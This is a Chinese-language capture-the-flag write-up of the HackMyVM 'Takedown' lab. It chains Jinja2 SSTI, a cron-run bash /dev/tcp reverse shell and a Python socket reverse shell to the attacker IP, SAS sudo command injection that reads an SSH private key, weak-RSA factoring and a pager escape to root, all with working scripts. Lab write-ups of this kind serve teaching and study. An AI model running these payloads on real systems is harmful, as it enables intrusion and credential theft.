跳到主要内容

HackMyVM Takedown 通关记录|SSTI、SAS 命令注入与 Contempt 提权

靶机链接:Takedown


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Takedown192.168.1.153靶机主机

用户列表:

用户UID说明
alfonso1000rootless Docker 宿主
tomu1001Tsutomu Shimomura,Contempt sudo 用户
love1002初始反弹 shell 用户
mitnick1003SAS 工具拥有者

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Nginx/Flask明确 Web 为主要攻击面
SSTI 容器 RCEname={{lipsum.__globals__['os'].popen('id').read()}}uid=0(root)容器内 root shell,发现 cron 脚本
容器枚举/script/ 目录中的 x.shz.sh脚本通过共享目录 mount 到 osiris,由 cron 定期执行
cron 反弹 shellx.sh 每 5 分钟执行 bash -i >& /dev/tcp/192.168.1.113/4444获得 love@osiris 交互式 shell
SAS 横向sudo -u mitnick /home/mitnick/sas + run <script>SAS 命令注入以 mitnick 身份执行任意命令
RSA-256 分解publickey.pub 256-bit → FactorDB 分解获得 RSA 私钥解密 secret.enc
凭据获取secret.enc PKCS1v15 解密 → sh1m0mur4Bl4ckh4ttomu 用户密码
Contempt 提权选项 2 Ayuda → vim/less :!command以 root 身份执行命令
Root 落地:!cat /root/root.sh1e271c5ce97e76ae8417a95c74085fbaroot flag

0x02 侦察与信息收集 (Reconnaissance)

1. 端口与服务识别

nmap -sV -sC -Pn 192.168.1.153

服务列表摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH
80/tcpHTTPNginx 1.18.0,重定向到 shieldweb.che

注意: Nginx 使用虚拟主机(Virtual Host),需要先将域名添加到 Kali 的 /etc/hosts

echo '192.168.1.153 shieldweb.che ticket.shieldweb.che' | sudo tee -a /etc/hosts

2. Web 初步观察

80 端口首页重定向到 http://shieldweb.che/,是一个名为 "Cybersecurity Inc" 的静态网站,页面中有一个链接指向 http://ticket.shieldweb.che/

curl -s -H "Host: shieldweb.che" http://192.168.1.153/

关键信息:

  • 网站包含指向 ticket.shieldweb.che 的 Contact 链接
  • ticket 子域是一个 Flask 联系表单(Formulario de contacto

3. 联系表单分析

curl -s -H "Host: ticket.shieldweb.che" http://192.168.1.153/

表单包含三个字段:nameemailmessage,提交到 /submit 端点。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. SSTI 确认

/submit 端点测试 Jinja2 SSTI:

curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{7*7}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"

返回 Thank you for your message, 49!,确认 {{7*7}} 被解析执行,存在 Jinja2 服务端模板注入。

2. SSTI RCE

使用 lipsum.__globals__['os'].popen() 执行命令:

curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('id').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"

返回 uid=0(root) gid=0(root)。注意:此 SSTI 运行在容器 Ariel(Alpine Linux)内,以 root 身份,但容器与 Takedown 宿主机(osiris)隔离。

3. 容器探索与反弹 shell 脚本部署

SSTI 返回的 shell 是容器的 root shell(主机名 Ariel,Alpine Linux)。容器中存在 /script/ 目录,通过 fuse-overlayfs bind mount 到 Takedown 宿主机(/dev/shm/love/script/),宿主机 cron 定期执行其中的脚本。

# 通过 SSTI 查看目录(初始可能为空)
ls -la /script/

需要在该目录创建反弹 shell 脚本 z.sh

z.sh 内容(精简后核心逻辑):

#!/bin/bash
bash -c "exec 3<>/dev/tcp/192.168.1.113/4444; bash -i <&3 >&3 2>&3" &

通过 SSTI 使用 base64 编码写入脚本(避免 <>& 等特殊字符在多层传递中被错误解析):

# 1. Kali 上生成 base64 编码
echo -e '#!/bin/bash\nbash -c "exec 3<>/dev/tcp/192.168.1.113/4444; bash -i <&3 >&3 2>&3" &' \
| base64 -w0
# 输出: IyEvYmluL2Jhc2gKYmFzaCAtYyAiZXhlYyAzPD4vZGV2L3RjcC8xOTIuMTY4LjEuMTEzLzQ0NDQ7IGJhc2ggLWkgPCYzID4mMyAyPiYzIiAmCg==

# 2. 通过 SSTI 写入容器 /script/z.sh
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('echo IyEvYmluL2Jhc2gKYmFzaCAtYyAiZXhlYyAzPD4vZGV2L3RjcC8xOTIuMTY4LjEuMTEzLzQ0NDQ7IGJhc2ggLWkgPCYzID4mMyAyPiYzIiAmCg== | base64 -d > /script/z.sh && chmod 777 /script/z.sh').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"

技巧: 将命令先 base64 编码再通过 SSTI 注入是标准做法,可以避免 shell 元字符在多层传递中被错误解析。

4. cron 定时任务触发反向 shell

Takedown 宿主机上的 cron 大约每 5 分钟 执行 /script/ 目录下的脚本。z.sh 被触发后向 Kali 4444 端口发起反弹 shell。在 Kali 侧启动监听等待:

# Kali 侧启动 nc 监听
nc -lvnp 4444

# 等待 cron 触发(约 5 分钟内)
# 收到连接后获得 love@osiris 的 shell

5. Shell 升级:获取完整 PTY

获得 love@osiris:~$ 的 shell 后,第一时间升级为完整 PTY

python3 -c 'import pty;pty.spawn("/bin/bash")'

注意: PTY 升级是后续步骤的前提。没有 PTY 的情况下,SAS 等交互式程序会为每个输入字符回显 # 提示符,导致命令无法正常交互。直接 pipe 输入到 SAS 会失败。

6. 容器与主机之间的共享目录架构

┌─ Container Ariel ─────────────────────────┐
│ /script/ (root:root, 可读写) │
│ ├── z.sh (信息收集 + 反向 shell) │
│ └── ... │
│ │
│ rootless Docker (alfonso 用户) │
│ fuse-overlayfs │
└────────────┬──────────────────────────────┘
│ bind mount
┌────────────▼──────────────────────────────┐
│ Takedown Host (osiris) │
│ /dev/shm/love/script/ (alfonso:alfonso) │
│ ├── z.sh (cron 定期执行) │
│ └── ... │
│ │
│ cron (alfonso 用户) │
│ 触发 → love 用户的反弹 shell │
└────────────────────────────────────────────┘

关键发现:

  • 容器内的 root 写入的文件在 osiris 上显示为 alfonso 拥有
  • cron 以 alfonso 身份执行脚本,但 x.sh 反弹的 shell 落在 love 用户(因为脚本从 osiris 侧执行,且反向 shell 暴露了 love 的会话)
  • 实际上多次连接中同时收到了 loveroot(容器内)的 shell

0x04 横向提权:love → mitnick (SAS 命令注入)

1. sudo 枚举

sudo -l

输出:

User love may run the following commands on osiris:
(mitnick) NOPASSWD: /home/mitnick/sas

love 可以以 mitnick 身份无密码运行 SAS 工具。

2. SAS 程序分析

SAS(Switched Access Services v1.0,作者 Aquilino Morcillo)是一个交互式 C2 工具,运行后展示 banner 和 # 提示符:

sudo -u mitnick /home/mitnick/sas
SSSSS AAA SSSSS
S S A A S S
S A A S
SSSSS A A SSSSS
S ### AAAAAAA ### S
S S ### A A ### S S
SSSSS A A SSSSS
SAS v1.0
(c) SWITCHED ACCESS SERVICES 2023 Aquilino Morcillo

sas -h Available commands
#

SAS 支持的交互式命令:

命令效果
version显示版本号
run <filename>执行 SAS 脚本文件
其他任意输入Command not found

run 命令接受一个 SAS 脚本文件作为参数,脚本中的每一行作为 SAS 命令执行。SAS 将外部命令(如 idwhoamicatpython3)作为可执行命令处理,并以 mitnick 身份运行。

3. SAS run 命令注入

通过 run 命令执行 SAS 脚本,脚本中的任意命令以 mitnick 身份运行:

# 创建 SAS 脚本
echo 'id' > /tmp/test.sas
echo 'whoami' >> /tmp/test.sas

# 通过 SAS 执行
sudo -u mitnick /home/mitnick/sas
# run /tmp/test.sas

输出:

uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick)
mitnick

4. 读取 mitnick 凭据

利用 SAS run 命令读取 mitnick 的 SSH 私钥、公钥和加密文件:

# 创建 SAS 脚本读取关键文件
echo "cat /home/mitnick/.ssh/id_rsa" > /tmp/get_key.sas
echo "cat /home/mitnick/publickey.pub" >> /tmp/get_key.sas
echo "cat /home/mitnick/secret.enc | base64" >> /tmp/get_key.sas

# 通过 SAS 执行
sudo -u mitnick /home/mitnick/sas
# run /tmp/get_key.sas

说明: secret.enc 是二进制文件,通过终端传输会丢失数据,因此使用 base64 编码输出。在 Kali 侧还原:echo "<base64>" | base64 -d > secret.enc

SSH 私钥 (id_rsa): 2602 字节 OpenSSH 格式 RSA-3072 私钥,已保存到 mitnick_key

公钥文件 (publickey.pub):

-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMov+hb0LOJW4z6w03Tv8yNswYDXkEMj
DJE46jQH3sERAgMBAAE=
-----END PUBLIC KEY-----

加密文件 (secret.enc): 32 字节密文。


0x05 密码学攻击:RSA-256 分解与解密 secret.enc

1. publickey.pub 分析

openssl pkey -in publickey.pub -pubin -text -noout

输出:

Public-Key: (256 bit)
Modulus:
00:ca:2f:fa:16:f4:2c:e2:56:e3:3e:b0:d3:74:ef:
f3:23:6c:c1:80:d7:90:43:23:0c:91:38:ea:34:07:
de:c1:11
Exponent: 65537 (0x10001)

n = 91451963281284582263822096491513116919368195592939782118118773662653066690833

2. FactorDB 在线分解

提交 n 到 FactorDB

curl -s "http://factordb.com/api?query=91451963281284582263822096491513116919368195592939782118118773662653066690833"

FactorDB 输出:

{
"id": "1100000004723827190",
"status": "FF",
"factors": [
[272799705830086927219936172916283678397, 1],
[335234831001780341003153415948249295589, 1]
]
}

p = 272799705830086927219936172916283678397 (129-bit) q = 335234831001780341003153415948249295589 (129-bit)

3. 构建私钥并解密

from cryptography.hazmat.primitives.asymmetric import rsa, padding

p = 272799705830086927219936172916283678397
q = 335234831001780341003153415948249295589
e = 65537
n = p * q
phi = (p-1) * (q-1)
d = pow(e, -1, phi)

priv_key = rsa.RSAPrivateNumbers(
p=p, q=q, d=d,
dmp1=d % (p-1), dmq1=d % (q-1),
iqmp=pow(q, -1, p),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()

secret = open('secret.enc', 'rb').read()
msg = priv_key.decrypt(secret, padding.PKCS1v15())
print(msg.decode())

输出:

sh1m0mur4Bl4ckh4t

4. 阶段结论

文件用途解密结果
publickey.pub256-bit RSA 公钥n 被 FactorDB 分解
secret.encRSA PKCS1v15 密文sh1m0mur4Bl4ckh4t
factored_key.pem从 p,q 重建的私钥文件保存于本地

0x06 横向提权:love → tomu (凭据复用)

1. 密码复用验证

将解密获得的 sh1m0mur4Bl4ckh4t 复用到 tomu 用户:

su - tomu
# 密码: sh1m0mur4Bl4ckh4t
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 'id'

成功登录:

uid=1001(tomu) gid=1001(tomu) grupos=1001(tomu)

2. User Flag

su - tomu -c "cat /home/tomu/user.txt"

Tomu User Flag:

612701a03669485d94bc687449fdab39

0x07 权限提升:tomu → root (Contempt dialog 逃逸)

1. sudo 枚举

sudo -l

输出:

User tomu may run the following commands on osiris:
(root) /opt/Contempt/Contempt

2. Contempt 程序分析

Contempt(作者 Aquilino Morcillo,MIT License)是一个 dialog 驱动的 GUI 菜单程序,以 root 运行时可执行系统命令。

启动后显示菜单:

┌────Bienvenido a Contempt Shell───────┐
│ Selecciona una opción: │
│ ┌──────────────────────────────────┐ │
│ │ 1 Ejecutar shell │ │
│ │ 2 Ayuda │ │
│ │ 3 Licencia │ │
│ │ 4 Salir │ │
│ └──────────────────────────────────┘ │
│ <Aceptar > <Cancelar> │
└──────────────────────────────────────┘

菜单选项功能:

选项说明密码要求
1 Ejecutar shell交互式 root shell需要额外密码(未知)
2 Ayuda显示帮助
3 Licencia显示 MIT License
4 Salir退出

3. dialog 逃逸:选项 2 的 :!command

选项 2 (Ayuda) 使用 vim/less 风格的 pager 显示帮助文本,支持 :!command 语法执行 shell 命令,且执行上下文为 root(通过 sudo)。

利用流程:

sudo /opt/Contempt/Contempt
# 输入 sudo 密码: sh1m0mur4Bl4ckh4t
# 在菜单中选择 2 (Ayuda)
# 在 pager 中输入:
:!id
# 返回 uid=0(root)
:!cat /root/root.sh > /tmp/root_flag.txt
:q

完整自动化利用(expect):

#!/usr/bin/expect -f
set timeout 15
spawn sshpass -p "sh1m0mur4Bl4ckh4t" ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-t tomu@192.168.1.153 "sudo /opt/Contempt/Contempt"
expect "password for tomu:"
send "sh1m0mur4Bl4ckh4t\r"
sleep 3
send "2\r"
sleep 1
send "\t\r"
sleep 5
send ":!cat /root/root.sh > /tmp/root_flag.txt 2>&1\r"
sleep 2
send ":q\r"
sleep 2
expect eof

4. 验证 root 身份

# 通过 :!id 确认
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 \
'cat /tmp/whoami_id.txt'

输出:

uid=0(root) gid=0(root) grupos=0(root)

5. Root Flag

/root/root.sh 内容:

█████╗ ██████╔╝█████╗ █████╗ ██╔████╔██║██║ ██║ ██╔██╗ ██║██║██║ █████╔╝
██╔══╝ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╔╝██║██║ ██║ ██║╚██╗██║██║██║ ██╔═██╗
██║ ██║ ██║███████╗███████╗ ██║ ╚═╝ ██║██║ ██║ ██║ ╚████║██║╚██████╗██║ ██╗
╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚═╝ ╚═╝

flag --> 1e271c5ce97e76ae8417a95c74085fba

0x08 最终成果 (Final Flags)

User Flag (tomu)

  • 路径: /home/tomu/user.txt
  • 内容: 612701a03669485d94bc687449fdab39

Root Flag

  • 路径: /root/root.sh
  • 内容: 1e271c5ce97e76ae8417a95c74085fba

凭据汇总

用户 / 文件凭据来源
loveSSTI 反弹 shellFlask 表单 name 参数 Jinja2 注入
mitnickSAS run 命令注入sudo -u mitnick NOPASSWD: /home/mitnick/sas
publickey.pubn = 91451...0833 (256-bit)FactorDB 分解 → p, q
secret.encsh1m0mur4Bl4ckh4tRSA-256 PKCS1v15 解密
tomush1m0mur4Bl4ckh4t密码复用
rootContempt 选项 2 :!command 逃逸sudo /opt/Contempt/Contempt → dialog less/vim 命令执行

0x09 核心利用脚本汇总

以下是本次渗透中自行编写的核心利用脚本。

1. SAS PTY 交互脚本 (interact_sas.py)

SAS 是一个交互式 # 提示符程序,直接 pipe 输入会导致 SAS 为每个输入字符回显 #。使用 Python pty.fork() 创建伪终端绕过:

# interact_sas.py — 与 SAS 交互执行脚本文件的 PTY 封装
import os, pty, time, select

def sas_run(sas_script_path):
"""通过 SAS run 命令执行脚本文件,返回输出"""
pid, fd = pty.fork()
if pid == 0:
os.execvp('sudo', ['sudo', '-u', 'mitnick', '/home/mitnick/sas'])
else:
os.write(fd, f'run {sas_script_path}\n'.encode())
time.sleep(2)
r = b''
for _ in range(30):
if select.select([fd], [], [], 0.5)[0]:
r += os.read(fd, 4096)
else:
break
os.close(fd)
return r.decode(errors='replace')

result = sas_run('/tmp/test.sas')
print(result)

2. SAS 脚本示例 (.sas 文件)

SAS .sas 脚本的每一行作为命令执行,可使用任意系统命令:

# /tmp/ls_home.sas — 读取 mitnick 目录
ls -la /home/mitnick/
id
whoami
cat /home/mitnick/.ssh/id_rsa

# /tmp/decrypt.sas — 尝试解密 secret.enc
openssl pkeyutl -decrypt -in /home/mitnick/secret.enc -inkey /home/mitnick/.ssh/id_rsa 2>&1

# /tmp/find_flags.sas — 搜索 flag 文件
find /home /root /opt -name "*flag*" -o -name "user.txt" -o -name "root.txt" 2>/dev/null

3. RSA-256 分解与解密脚本 (decrypt_rsa256.py)

# decrypt_rsa256.py — 使用 FactorDB 分解结果构建私钥并解密 secret.enc
from cryptography.hazmat.primitives import serialization, padding, hashes
from cryptography.hazmat.primitives.asymmetric import rsa

# FactorDB 分解结果
p = 272799705830086927219936172916283678397
q = 335234831001780341003153415948249295589
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 构建 RSA 私有密钥
priv_key = rsa.RSAPrivateNumbers(
p=p, q=q, d=d,
dmp1=d % (p - 1), dmq1=d % (q - 1),
iqmp=pow(q, -1, p),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()

# 保存 PEM 格式私钥
pem = priv_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open('factored_key.pem', 'wb') as f:
f.write(pem)

# 解密 secret.enc
secret = open('secret.enc', 'rb').read()
msg = priv_key.decrypt(secret, padding.PKCS1v15())
print(f'[+] 解密结果: {msg.decode()}') # sh1m0mur4Bl4ckh4t

4. Contempt dialog 逃逸脚本 (exploit_contempt.exp)

Contempt 的选项 2 (Ayuda) 使用 vim/less pager,可用 :!command 以 root 执行命令:

#!/usr/bin/expect -f
# exploit_contempt.exp — 通过 Contempt 选项 2 (Ayuda) 的 :!command 获取 root 命令执行
set timeout 15
spawn sshpass -p "sh1m0mur4Bl4ckh4t" ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-t tomu@192.168.1.153 "sudo /opt/Contempt/Contempt"
expect "password for tomu:"
send "sh1m0mur4Bl4ckh4t\r"
sleep 3
# 选择选项 2 (Ayuda)
send "2\r"
sleep 1
send "\t\r"
sleep 5
# 在 vim/less pager 中以 root 执行命令
send ":!id\r"
sleep 2
send ":!cat /root/root.sh > /tmp/root_flag_final.txt 2>&1\r"
sleep 2
send ":q\r"
sleep 2
expect eof

运行方式:

chmod +x exploit_contempt.exp
./exploit_contempt.exp
# 验证结果
sshpass -p 'sh1m0mur4Bl4ckh4t' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
tomu@192.168.1.153 'cat /tmp/root_flag_final.txt'

5. SSTI 反弹 Shell 脚本 (ssti_revshell.sh)

#!/bin/bash
# ssti_revshell.sh — 通过 Flask SSTI 获取 osiris 反向 shell
PYCODE='import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.113",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
B64=$(echo -n "$PYCODE" | base64 -w0)
curl -s -X POST -H "Host: ticket.shieldweb.che" \
'http://192.168.1.153/submit' \
--data-urlencode "name={{lipsum.__globals__['os'].popen('nohup python3 -c \"import base64;exec(base64.b64decode(\\\\\"$B64\\\\\"))\" >/dev/null 2>&1 &').read()}}" \
--data-urlencode "email=test@test.com" \
--data-urlencode "message=test"

复盘总结

Takedown 的主线不是单点爆破,而是一条多阶段权限升级链,覆盖了 Web、C2 工具注入、密码学攻击和 GUI 逃逸等多个安全领域。

  1. SSTI 不等同于 RCE。 本题 SSTI 在容器内以 root 执行,但容器与主机隔离。反弹 shell 落到 osiris 的 love 用户,是后续横向移动的起点。
  2. SAS 是 C2 工具也是提权面。 run 命令设计为执行 SAS 脚本,但脚本内容没有被限制,任何命令都以 mitnick 身份运行。这与常规 sudo 脚本逻辑缺陷类似。
  3. 256-bit RSA 是密码学上的提权跳板。 密钥位宽太短,FactorDB 在线分解即可获得 p, q。secret.enc 解密结果(sh1m0mur4Bl4ckh4t)被复用到 tomu,体现了凭据复用的聚集效应。
  4. 密码复用贯穿整个提权链。 sh1m0mur4Bl4ckh4t 既用于解密 secret.enc,又是 tomu 的登录密码、Contempt 的 sudo 密码,构成了凭据复用的完整闭环。
  5. GUI 文本查看器是核弹级提权面。 Contempt 的选项 2 (Ayuda) 使用 vim/less 显示帮助,:!command 在 root 上下文中执行任意命令。这个技巧与 sudo vim 提权原理一致,只是入口换成了 dialog 驱动的菜单程序。
  6. 防守上要同时关注 Web 模板渲染、sudo NOPASSWD 范围、密钥位宽和 GUI 程序的子进程控制。 Flask 模板渲染应禁用模板引擎的任意代码执行;SAS 这类 C2 工具应严格限制 run 命令的执行范围;256-bit RSA 在现代密码学中完全不可接受;GUI 程序在 sudo 上下文运行时应剥离其子进程逃逸能力。